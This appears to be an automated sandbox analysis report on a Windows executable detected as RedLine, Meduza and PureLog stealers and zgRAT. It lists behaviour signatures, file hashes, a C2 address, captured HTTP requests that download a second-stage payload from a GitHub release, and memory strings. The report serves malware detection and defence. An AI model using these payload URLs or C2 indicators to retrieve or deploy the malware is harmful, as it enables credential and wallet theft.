Windows Analysis Report
9LrEuTWP8s.exe

Overview

General Information

Sample name: 9LrEuTWP8s.exe
renamed because original name is a hash value
Original sample name: 602a6a9693cdc77d1576ea6da66fd56e77c87a89ecef0d39b44563b93f8cc6b1.exe
Analysis ID: 1554430
MD5: ba7d3bda1009e3900c1eca3d56aa8b4f
SHA1: 3393a8485928315b58def904ccfb342ae1b30bdf
SHA256: 602a6a9693cdc77d1576ea6da66fd56e77c87a89ecef0d39b44563b93f8cc6b1
Tags: 4-251-123-83exeuser-JAMESWT_MHT
Infos:

Detection

Meduza Stealer, PureLog Stealer, RedLine, zgRAT
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Meduza Stealer
Yara detected PureLog Stealer
Yara detected RedLine Stealer
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains very large array initializations
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
RedLine Stealer RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
Name Description Attribution Blogpost URLs Link
zgRAT zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Path1\To2\Save444\uh3ex1.exe Avira: detection malicious, Label: HEUR/AGEN.1311038
Found malware configuration
Source: MSBuild.exe.8184.8.memstrmin Malware Configuration Extractor: RedLine {"C2 url": "4.251.123.83:6677"}
Multi AV Scanner detection for dropped file
Source: C:\Path1\To2\Save444\uh3ex1.exe ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Roaming\gdi32.dll ReversingLabs: Detection: 83%
Multi AV Scanner detection for submitted file
Source: 9LrEuTWP8s.exe ReversingLabs: Detection: 47%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\gdi32.dll Joe Sandbox ML: detected
Source: C:\Path1\To2\Save444\uh3ex1.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 9LrEuTWP8s.exe Joe Sandbox ML: detected
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: 9LrEuTWP8s.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Users\Bootcherito\source\repos\ConsoleApp2\ConsoleApp2\obj\Release\ConsoleApp2.pdb source: 9LrEuTWP8s.exe
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D59C108 FindFirstFileExW, 6_2_6D59C108

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.9:49709 -> 4.251.123.83:6677
Source: Network traffic Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 4.251.123.83:6677 -> 192.168.2.9:49709
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 4.251.123.83:6677
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.9:49709 -> 4.251.123.83:6677
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.9:64932 -> 1.1.1.1:53
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /Xavieprowel/crispy-palm-tree/releases/download/1/uh3ex1.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /github-production-release-asset-2e65be/882783246/b23a0dba-ce39-4346-b67f-261d78699733?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241112%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241112T135026Z&X-Amz-Expires=300&X-Amz-Signature=2c2918ad1c088c74e424c5e0842a55433a7fe7a314dfeedb12184bfb225b99f5&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Duh3ex1.exe&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 140.82.121.4 140.82.121.4
Source: Joe Sandbox View IP Address: 185.199.111.133 185.199.111.133
Source: Joe Sandbox View IP Address: 4.251.123.83 4.251.123.83
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: LEVEL3US LEVEL3US
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: global traffic HTTP traffic detected: GET /Xavieprowel/crispy-palm-tree/releases/download/1/uh3ex1.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /github-production-release-asset-2e65be/882783246/b23a0dba-ce39-4346-b67f-261d78699733?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241112%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241112T135026Z&X-Amz-Expires=300&X-Amz-Signature=2c2918ad1c088c74e424c5e0842a55433a7fe7a314dfeedb12184bfb225b99f5&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Duh3ex1.exe&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: Keep-Alive
Source: MSBuild.exe, 00000008.00000002.1669008971.0000000006381000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000008.00000002.1650116521.000000000337A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: qpC:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000008.00000002.1650116521.000000000337A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: qpC:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb(;0 equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: github.com
Source: global traffic DNS traffic detected: DNS query: objects.githubusercontent.com
Source: powershell.exe, 00000003.00000002.1472919395.0000000002F07000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.m
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.00000000033AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://github.com
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.00000000033AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://github.comd
Source: powershell.exe, 00000003.00000002.1475483757.00000000057B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.00000000033F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://objects.githubusercontent.com
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.00000000033F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://objects.githubusercontent.comd
Source: powershell.exe, 00000003.00000002.1473468111.00000000048A6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: powershell.exe, 00000003.00000002.1473468111.00000000048A6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faulth
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
